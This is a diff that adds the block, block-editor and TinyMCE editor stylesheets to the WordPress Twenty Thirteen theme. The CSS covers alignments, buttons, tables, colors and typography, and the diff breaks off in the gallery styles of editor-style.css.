Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/css/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/css/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/css/blocks.css	(revision 56912)
@@ -0,0 +1,552 @@
+/*
+Theme Name: Twenty Thirteen
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 Block Alignments
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+7.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 Block Alignments
+--------------------------------------------------------------*/
+
+.content-area {
+	overflow-x: hidden; /* prevents side-scrolling caused by use of vw */
+}
+
+[class^="wp-block-"].alignleft,
+[class^="wp-block-"] .alignleft {
+	margin-right: 20px;
+}
+
+[class^="wp-block-"].alignright,
+[class^="wp-block-"] .alignright {
+	margin-left: 20px;
+}
+
+.alignfull,
+.alignwide {
+	clear: both;
+}
+
+body:not(.sidebar) .alignwide {
+	margin-left: calc(25% - 25vw);
+	margin-right: calc(25% - 25vw);
+	width: auto;
+	max-width: 1600px;
+}
+
+body:not(.sidebar) .alignfull {
+	margin-left: calc(50% - 50vw);
+	margin-right: calc(50% - 50vw);
+	width: auto;
+	max-width: 1600px;
+}
+
+/* Make non image-based blocks a bit narrower, so they don't get cut off. */
+body:not(.sidebar) .wp-block-columns.alignfull,
+body:not(.sidebar) .wp-block-audio.alignfull,
+body:not(.sidebar) .wp-block-table.alignfull,
+body:not(.sidebar) .wp-block-latest-comments.alignfull {
+	margin-left: calc(50% - 48vw);
+	margin-right: calc(50% - 48vw);
+}
+
+@media (max-width: 999px) {
+	body.sidebar .alignwide {
+		margin-left: calc(25% - 25vw);
+		margin-right: calc(25% - 25vw);
+		width: auto;
+		max-width: 1600px;
+	}
+
+	body.sidebar .alignfull {
+		margin-left: calc(50% - 50vw);
+		margin-right: calc(50% - 50vw);
+		width: auto;
+		max-width: 1600px;
+	}
+
+	/* Make non image-based blocks a bit narrower, so they don't get cut off. */
+	body.sidebar .wp-block-columns.alignfull,
+	body.sidebar .wp-block-audio.alignfull,
+	body.sidebar .wp-block-table.alignfull,
+	body.sidebar .wp-block-latest-comments.alignfull {
+		margin-left: calc(50% - 48vw);
+		margin-right: calc(50% - 48vw);
+	}
+}
+
+@media (min-width: 1600px) {
+
+	/* Make sure the full and wide blocks still stay in Twenty Thirteen's wide container */
+	body:not(.sidebar) .alignfull {
+		margin-left: calc(50% - 800px);
+		margin-right: calc(50% - 800px);
+		width: auto;
+		max-width: 1000%;
+	}
+
+	body:not(.sidebar) .wp-block-columns.alignfull,
+	body:not(.sidebar) .wp-block-audio.alignfull,
+	body:not(.sidebar) .wp-block-table.alignfull,
+	body:not(.sidebar) .wp-block-latest-comments.alignfull {
+		margin-left: calc(50% - 780px);
+		margin-right: calc(50% - 780px);
+	}
+
+	body:not(.sidebar) .wp-block-gallery.alignfull {
+		margin-left: calc(50% - 808px); /* Adjust for gallery margins */
+		margin-right: calc(50% - 808px);
+		width: auto;
+		max-width: 1000%;
+	}
+
+	/* Make sure the 'wide' alignment doesn't get too wide. */
+	body:not(.sidebar) .alignwide {
+		margin-left: -230px;
+		margin-right: -230px;
+	}
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Captions */
+
+[class^="wp-block-"] figcaption,
+[class^="wp-block-"] figcaption.editor-rich-text__tinymce.mce-content-body {
+	color: #220e10;
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.5;
+	margin: 0 0 24px;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin-bottom: 24px;
+}
+
+.wp-block-gallery figcaption {
+	margin-bottom: 0;
+}
+
+/* Quote */
+
+.wp-block-quote {
+	margin: 24px 40px;
+	padding: 0;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border-left: 0;
+	border-right: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+	font-size: 28px;
+}
+
+.wp-block-quote cite {
+	color: inherit;
+	font-size: inherit;
+	font-style: italic;
+}
+
+/* Audio */
+
+.wp-block-audio audio {
+	display: block;
+	width: 100%;
+}
+
+/* Cover */
+
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter {
+	clear: both;
+	display: flex;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__button {
+	background: #e05d22; /* Old browsers */
+	background: -webkit-linear-gradient(top, #e05d22 0%, #d94412 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #e05d22 0%, #d94412 100%); /* W3C */
+	border: none;
+	border-radius: 2px;
+	border-bottom: 3px solid #b93207;
+	color: #fff;
+	display: inline-block;
+	font-size: 16px;
+	padding: 11px 24px 10px;
+	text-decoration: none;
+}
+
+.wp-block-file .wp-block-file__button:hover,
+.wp-block-file .wp-block-file__button:focus {
+	background: #ed6a31; /* Old browsers */
+	background: -webkit-linear-gradient(top, #ed6a31 0%, #e55627 100%); /* Chrome 10+, Safari 5.1+ */
+	background: linear-gradient(to bottom, #ed6a31 0%, #e55627 100%); /* W3C */
+	color: #fff;
+	outline: none;
+}
+
+.wp-block-file .wp-block-file__button:active {
+	background: #d94412; /* Old browsers */
+	background: -webkit-linear-gradient(top, #d94412 0%, #e05d22 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #d94412 0%, #e05d22 100%); /* W3C */
+	border: none;
+	border-top: 3px solid #b93207;
+	padding: 10px 24px 11px;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	background-color: transparent;
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	border: 0;
+	color: inherit;
+	padding: 0.5em 0;
+}
+
+.wp-block-pullquote__citation,
+.wp-block-pullquote cite,
+.wp-block-pullquote footer {
+	color: inherit;
+}
+
+/* Table */
+
+.wp-block-table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+.wp-block-table th {
+	border: 0;
+	font-weight: bold;
+	text-transform: uppercase;
+}
+
+.wp-block-table td {
+	border: 0;
+	border-top: 1px solid #ededed;
+}
+
+body:not(.sidebar) .wp-block-table.alignwide,
+body:not(.sidebar) .wp-block-table.alignfull {
+	width: 100%;
+}
+
+/* Some acrobatics to make sure the table blocks always fill the available space. */
+
+@media (max-width: 1599px) {
+	body:not(.sidebar) .wp-block-table.alignwide {
+		width: calc(302px + 50vw); /* Half the content area width plus half the screen width. */
+	}
+
+	body:not(.sidebar) .wp-block-table.alignfull {
+		width: 96vw;
+	}
+}
+
+@media (max-width: 999px) {
+	body.sidebar .wp-block-table.alignwide {
+		width: calc(302px + 50vw); /* Half the content area width plus half the screen width. */
+	}
+
+	body.sidebar .wp-block-table.alignfull {
+		width: 96vw;
+	}
+}
+
+@media (max-width: 654px) {
+	body:not(.sidebar) .wp-block-table.alignwide,
+	body.sidebar .wp-block-table.alignwide {
+		width: 96vw;
+	}
+}
+
+@media (min-width: 1600px) {
+	body:not(.sidebar) .wp-block-table.alignwide {
+		width: 1064px;
+	}
+
+	body:not(.sidebar) .wp-block-table.alignfull {
+		width: 1560px;
+	}
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button.alignleft {
+	margin-right: 20px;
+}
+
+.wp-block-button.alignright {
+	margin-left: 20px;
+}
+
+.wp-block-button .wp-block-button__link {
+	border-bottom: 3px solid #b93207;
+	display: inline-block;
+	font-size: 16px;
+	padding: 11px 24px 10px;
+	text-decoration: none;
+}
+
+.entry-content .wp-block-button__link {
+	background-color: #e05d22;
+	color: #fff;
+}
+
+.entry-content .wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-background) {
+	background: -webkit-linear-gradient(top, #e05d22 0%, #d94412 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #e05d22 0%, #d94412 100%); /* W3C */
+}
+
+.entry-content .wp-block-button__link:hover,
+.entry-content .wp-block-button__link:focus,
+.wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color):hover,
+.wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color):focus {
+	background: #ed6a31;
+	color: #fff;
+}
+
+.wp-block-button.is-style-outline .wp-block-button__link {
+	background-color: inherit;
+	border-color: inherit;
+	border-width: 2px;
+}
+
+.wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color) {
+	color: #ed6a31;
+}
+
+.entry-content .wp-block-button__link:not(.has-background):hover,
+.entry-content .wp-block-button__link:not(.has-background):hover,
+.entry-content .wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-background):hover {
+	background: -webkit-linear-gradient(top, #ed6a31 0%, #e55627 100%); /* Chrome 10+, Safari 5.1+ */
+	background: linear-gradient(to bottom, #ed6a31 0%, #e55627 100%); /* W3C */
+}
+
+.entry-content .wp-block-button__link:active {
+	background: #d94412;
+}
+
+.entry-content .wp-block-button__link:not(.has-background):active {
+	background: -webkit-linear-gradient(top, #d94412 0%, #e05d22 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #d94412 0%, #e05d22 100%); /* W3C */
+}
+
+.entry-content .wp-block-button .wp-block-button__link:active {
+	border: none;
+	border-top: 3px solid #b93207;
+	padding: 10px 24px 11px;
+}
+
+/* Separator */
+
+.wp-block-separator {
+	border: 0;
+	max-width: 100px;
+}
+
+.wp-block-separator.is-style-wide {
+	max-width: 100%;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 24px;
+}
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	list-style-position: inside;
+	text-align: center;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 16px;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-date {
+	font-size: 16px;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	background: url(../images/dotted-line.png) repeat-x left top;
+	margin-bottom: 0;
+	padding: 24px 0;
+}
+
+/*--------------------------------------------------------------
+7.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.entry-content .has-dark-gray-color {
+	color: #141412;
+}
+
+.entry-content .has-dark-gray-background-color {
+	background-color: #141412;
+}
+
+.entry-content .has-red-color {
+	color: #bc360a;
+}
+
+.entry-content .has-red-background-color {
+	background-color: #bc360a;
+}
+
+.entry-content .has-medium-orange-color {
+	color: #db572f;
+}
+
+.entry-content .has-medium-orange-background-color {
+	background-color: #db572f;
+}
+
+.entry-content .has-light-orange-color {
+	color: #ea9629;
+}
+
+.entry-content .has-light-orange-background-color {
+	background-color: #ea9629;
+}
+
+.entry-content .has-yellow-color {
+	color: #fbca3c;
+}
+
+.entry-content .has-yellow-background-color {
+	background-color: #fbca3c;
+}
+
+.entry-content .has-white-color {
+	color: #fff;
+}
+
+.entry-content .has-white-background-color {
+	background-color: #fff;
+}
+
+.entry-content .has-dark-brown-color {
+	color: #220e10;
+}
+
+.entry-content .has-dark-brown-background-color {
+	background-color: #220e10;
+}
+
+.entry-content .has-medium-brown-color {
+	color: #722d19;
+}
+
+.entry-content .has-medium-brown-background-color {
+	background-color: #722d19;
+}
+
+.entry-content .has-light-brown-color {
+	color: #eadaa6;
+}
+
+.entry-content .has-light-brown-background-color {
+	background-color: #eadaa6;
+}
+
+.entry-content .has-beige-color {
+	color: #e8e5ce;
+}
+
+.entry-content .has-beige-background-color {
+	background-color: #e8e5ce;
+}
+
+.entry-content .has-off-white-color {
+	color: #f7f5e7;
+}
+
+.entry-content .has-off-white-background-color {
+	background-color: #f7f5e7;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/css/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/css/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/css/editor-blocks.css	(revision 56912)
@@ -0,0 +1,419 @@
+/*
+Theme Name: Twenty Thirteen
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 Block Alignments
+--------------------------------------------------------------*/
+
+.editor-block-list__layout .editor-block-list__block[data-align="full"] > .editor-block-list__block-edit figure {
+	width: auto;
+}
+
+/*--------------------------------------------------------------
+2.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.edit-post-visual-editor .editor-block-list__block p,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-family: "Source Sans Pro", Helvetica, sans-serif;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #141412;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	font-family: Bitter, Georgia, serif;
+	font-size: 48px;
+	font-weight: 300;
+	line-height: 1.0909090909;
+	margin-bottom: 12px;
+	margin: 0 0 12px 0;
+}
+
+/*--------------------------------------------------------------
+3.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Main content width */
+
+.wp-block {
+	max-width: 634px; /* 604px + 30px to account for padding */
+}
+
+.wp-block.alignwide,
+.wp-block.alignfull {
+	max-width: inherit;
+}
+
+[class^="wp-block-"] .wp-block {
+	max-width: 100%;
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	color: #bc360a;
+}
+
+/* List styles */
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul,
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	margin: 16px 0;
+	padding: 0 0 0 40px;
+}
+
+.block-library-list .editor-rich-text__tinymce {
+	padding: 0 0 0 40px;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.edit-post-visual-editor .editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul {
+	list-style-type: square;
+}
+
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	list-style: decimal;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li > ul,
+.editor-block-list__block ul:not(.wp-block-gallery) li > ul,
+.block-library-list li > ul,
+.edit-post-visual-editor li > ol,
+.editor-block-list__block li > ol,
+.block-library-list li > ol {
+	margin: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li,
+.editor-block-list__block ul:not(.wp-block-gallery) li,
+.edit-post-visual-editor ol li,
+.editor-block-list__block ol li,
+.block-library-list li {
+	margin-bottom: 0;
+}
+
+.rtl .edit-post-visual-editor ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block ul:not(.wp-block-gallery),
+.rtl .block-library-list ul,
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol {
+	padding-left: 0;
+	padding-right: 40px;
+}
+
+.rtl .block-library-list .editor-rich-text__tinymce {
+	padding-left: 0;
+	padding-right: 40px;
+}
+
+/* Quote */
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border-left: 0;
+	border-right: 0;
+	font-style: italic;
+	margin: 24px 40px;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote p {
+	font-size: 24px;
+	font-weight: 300;
+}
+
+/* Table */
+
+.rtl .editor-block-list__block table th,
+.rtl .editor-block-list__block table td {
+	text-align: right;
+}
+
+/* Code */
+
+.wp-block-freeform.block-library-rich-text__tinymce code {
+	background: transparent;
+}
+
+/* Captions */
+
+[class^="wp-block-"] figcaption,
+[class^="wp-block-"] figcaption.editor-rich-text__tinymce.mce-content-body {
+	color: #220e10;
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.5;
+	margin: 0 0 24px;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+}
+
+/* Gallery */
+
+.edit-post-visual-editor .wp-block-gallery {
+	margin-bottom: 24px;
+	padding: 0;
+}
+
+.wp-block-gallery figcaption,
+.wp-block-gallery figcaption.editor-rich-text__tinymce.mce-content-body {
+	color: #fff;
+	font-size: 13px;
+	margin-bottom: 0;
+}
+
+/* Quote */
+
+.wp-block-quote {
+	font-style: italic;
+	margin: 24px 40px;
+	padding: 0;
+}
+
+.editor-block-list__block .wp-block-quote p {
+	font-size: 24px;
+	font-weight: 300;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border-left: 0;
+	border-right: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-quote .wp-block-quote__citation.editor-rich-text__tinymce.mce-content-body {
+	color: inherit;
+	font-size: 16px;
+	font-style: italic;
+	text-transform: uppercase;
+}
+
+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+	font-size: 28px;
+}
+
+.wp-block-quote.is-large .wp-block-quote__citation.editor-rich-text__tinymce.mce-content-body,
+.wp-block-quote.is-style-large .wp-block-quote__citation.editor-rich-text__tinymce.mce-content-body {
+	font-size: 18px;
+}
+
+/* Cover */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover-image p.wp-block-cover-image-text,
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover p.wp-block-cover-text {
+	font-size: 32px;
+	line-height: 1.25;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__textlink {
+	color: #bc360a;
+}
+
+.wp-block-file .wp-block-file__button {
+	background: #e05d22; /* Old browsers */
+	background: -webkit-linear-gradient(top, #e05d22 0%, #d94412 100%); /* Chrome 10+, Safari 5.1+ */
+	background: linear-gradient(to bottom, #e05d22 0%, #d94412 100%); /* W3C */
+	border: none;
+	border-bottom: 3px solid #b93207;
+	color: #fff;
+	display: inline-block;
+	font-size: 16px;
+	line-height: 24px;
+	padding: 11px 24px 10px;
+	text-decoration: none;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.edit-post-visual-editor .wp-block-pullquote {
+	border: 0;
+	padding: 0.5em 0;
+}
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-pullquote p {
+	font-weight: 300;
+}
+
+.edit-post-visual-editor .wp-block-pullquote__citation,
+.edit-post-visual-editor .wp-block-pullquote cite,
+.edit-post-visual-editor .wp-block-pullquote footer {
+	color: #141412;
+	font-size: 16px;
+}
+
+/* Table */
+
+.wp-block-table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+.wp-block-table th {
+	border: 0;
+	font-weight: bold;
+	text-transform: uppercase;
+}
+
+.editor-block-list__block .wp-block-table td {
+	border: 0;
+	border-top: 1px solid #ededed;
+	padding: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	display: inline-block;
+	font-size: 16px;
+	line-height: 24px;
+	padding: 11px 24px 10px;
+	text-decoration: none;
+}
+
+.wp-block-button__link {
+	background: #e05d22;
+	border-bottom: 3px solid #b93207;
+	color: #fff;
+}
+
+.is-style-outline .wp-block-button__link {
+	border-width: 2px;
+	color: #e05d22;
+}
+
+.wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-background) {
+	background: -webkit-linear-gradient(top, #e05d22 0%, #d94412 100%); /* Chrome 10+, Safari 5.1+ */
+	background: linear-gradient(to bottom, #e05d22 0%, #d94412 100%); /* W3C */
+}
+
+/* Separator */
+
+.editor-block-list__block hr.wp-block-separator {
+	margin-left: auto;
+	margin-right: auto;
+}
+
+/* Media & Text */
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+7.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+[data-align="center"] .wp-block-archives ul,
+[data-align="center"] .wp-block-categories ul,
+[data-align="center"] .wp-block-latest-posts ul {
+	list-style-position: inside;
+	text-align: center;
+}
+
+/* Latest Comments */
+
+.editor-block-list__block .wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 16px;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-date {
+	font-size: 16px;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	background: url(../images/dotted-line.png) repeat-x left top;
+	margin-bottom: 0;
+	padding: 24px 0;
+}
+
+/* Latest Posts */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-latest-posts.is-grid {
+	list-style-type: none;
+	margin-left: 0;
+	margin-right: 0;
+}
+
+.edit-post-visual-editor .wp-block-latest-posts.is-grid li {
+	margin-bottom: 1em;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/css/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/css/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/css/editor-style.css	(revision 56912)
@@ -0,0 +1,771 @@
+/*
+Theme Name: Twenty Thirteen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Headings
+ * 3.0 - Text Elements
+ * 4.0 - Links
+ * 5.0 - Alignment
+ * 6.0 - Tables
+ * 7.0 - Images
+ * 8.0 - Galleries
+ * 9.0 - Audio/Video
+ * 10.0 - Post Formats
+ * 11.0 - RTL
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Body
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody {
+	font-size: 100%;
+	max-width: 604px;
+}
+
+body {
+	color: #141412;
+	font-family: "Source Sans Pro", Helvetica, sans-serif;
+	line-height: 1.5;
+	text-rendering: optimizeLegibility;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 2.0 Headings
+ * ----------------------------------------------------------------------------
+ */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-family: Bitter, Georgia, serif;
+	line-height: 1.3;
+}
+
+h1 {
+	font-size: 48px;
+	margin: 33px 0;
+}
+
+h2 {
+	font-size: 30px;
+	margin: 25px 0;
+}
+
+h3 {
+	font-size: 22px;
+	margin: 22px 0;
+}
+
+h4 {
+	font-size: 20px;
+	margin: 25px 0;
+}
+
+h5 {
+	font-size: 18px;
+	margin: 30px 0;
+}
+
+h6 {
+	font-size: 16px;
+	margin: 36px 0;
+}
+
+hr {
+	background: url(../images/dotted-line.png) repeat center top;
+	background-size: 4px 4px;
+	border: 0;
+	height: 1px;
+	margin: 0 0 24px;
+}
+
+
+/**
+ * 3.0 Text Elements
+ * ----------------------------------------------------------------------------
+ */
+
+p {
+	margin: 0 0 24px;
+}
+
+ol,
+ul {
+	margin: 16px 0;
+	padding: 0 0 0 40px;
+}
+
+ul {
+	list-style-type: square;
+}
+
+ol {
+	list-style: decimal outside;
+}
+
+li > ul,
+li > ol {
+	margin: 0;
+}
+
+dl {
+	margin: 0 20px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 20px;
+}
+
+strong {
+	font-weight: bold;
+}
+
+code,
+kbd,
+pre,
+samp {
+	font-family: monospace, serif;
+	font-size: 14px;
+}
+
+pre {
+	background: #f5f5f5;
+	color: #666;
+	font-family: monospace;
+	font-size: 14px;
+	margin: 20px 0;
+	overflow: auto;
+	padding: 20px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	font-size: 24px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 24px 40px;
+}
+
+blockquote blockquote {
+	margin-right: 0;
+}
+
+blockquote cite,
+blockquote small {
+	font-size: 14px;
+	font-weight: normal;
+	text-transform: uppercase;
+}
+
+cite {
+	border-bottom: 0;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 24px;
+}
+
+del {
+	color: #333;
+}
+
+ins {
+	background: #fff9c0;
+	border: none;
+	color: #333;
+	text-decoration: none;
+}
+
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	top: -0.5em;
+}
+
+sub {
+	bottom: -0.25em;
+}
+
+
+/**
+ * 4.0 Links
+ * ----------------------------------------------------------------------------
+ */
+
+a {
+	color: #ca3c08;
+	text-decoration: none;
+}
+
+a:visited {
+	color: #ac0404;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:active,
+a:hover {
+	color: #ea9629;
+	outline: 0;
+}
+
+a:hover {
+	text-decoration: underline;
+}
+
+
+/**
+ * 5.0 Alignment
+ * ----------------------------------------------------------------------------
+ */
+
+.alignleft {
+	float: left;
+	margin: 5px 20px 5px 0;
+}
+
+.alignright {
+	float: right;
+	margin: 5px 0 5px 20px;
+}
+
+.aligncenter {
+	display: block;
+	margin: 5px auto;
+}
+
+img.alignnone {
+	margin: 5px 0;
+}
+
+
+/**
+ * 6.0 Tables
+ * ----------------------------------------------------------------------------
+ */
+
+table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+caption {
+	font-size: 16px;
+	margin: 20px 0;
+}
+
+th {
+	font-weight: bold;
+	text-transform: uppercase;
+}
+
+td {
+	border-top: 1px solid #ededed;
+	padding: 6px 10px 6px 0;
+}
+
+
+/**
+ * 7.0 Images
+ * ----------------------------------------------------------------------------
+ */
+
+img {
+	height: auto;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+.wp-caption {
+	background: transparent;
+	border: none;
+	margin: 0;
+	padding: 0;
+	text-align: left;
+}
+
+.html5-captions .wp-caption {
+	padding: 0;
+}
+
+.wp-caption.alignleft {
+	margin: 5px 10px 5px 0;
+}
+
+.html5-captions .wp-caption.alignleft {
+	margin-right: 20px;
+}
+
+.wp-caption.alignright {
+	margin: 5px 0 5px 10px;
+}
+
+.wp-caption.alignright img,
+.wp-caption.alignright .wp-caption-dd {
+	padding-left: 10px;
+}
+
+.html5-captions .wp-caption.alignright {
+	margin-left: 20px;
+}
+
+.html5-captions .wp-caption.alignright img,
+.html5-captions .wp-caption.alignright .wp-caption-dd {
+	padding: 0;
+}
+
+.wp-caption-dt {
+	margin: 0;
+}
+
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	color: #220e10;
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.5;
+	margin-bottom: 24px;
+	padding: 0;
+}
+
+.mceTemp + ul,
+.mceTemp + ol {
+	list-style-position: inside;
+}
+
+
+/**
+ * 8.0 Galleries
+ * ----------------------------------------------------------------------------
+ */
+
+.gallery .gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	padding: 0;
+	position: relative;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+	width: auto;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+	max-width: -webkit-calc(50% - 14px);
+	max-width:         calc(50% - 14px);
+	width: auto;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 32%;
+	max-width: -webkit-calc(33.3% - 11px);
+	max-width:         calc(33.3% - 11px);
+	width: auto;
+}
+
